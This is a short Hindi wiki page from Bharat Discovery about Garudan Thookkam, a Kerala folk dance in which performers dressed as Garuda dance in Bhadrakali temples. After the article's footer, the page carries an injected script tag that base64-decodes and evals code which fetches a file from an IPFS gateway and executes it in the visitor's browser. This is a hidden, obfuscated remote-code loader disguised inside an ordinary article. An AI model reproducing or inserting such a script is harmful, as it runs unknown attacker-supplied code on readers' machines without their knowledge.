गरुड़नथूकम
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 12:24, 20 जुलाई 2018 का अवतरण
गरुड़नथूकम केरल का लोक नृत्य है। यह नृत्य उन मंदिरों में प्रस्तुत किया जाता है, जहां भद्रकाली देवी स्थापित हों।
- दो या तीन नर्तक गरुड़ का स्वांग रचाकर खास तरह के वाद्य यंत्र की ताल पर नाचते हैं।
- गरुड़ (पक्षियों का राजा) का प्रतिरूप बनाकर कलाकार नृत्य के दौरान पंखों के छिन्न-भिन्न होने के बावजूद अपने पंजों में सांप को दबाए रखता है। वह आनंदातिरेक में अपने पंखों को फैलाकर और गोल घूमकर नाचता है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>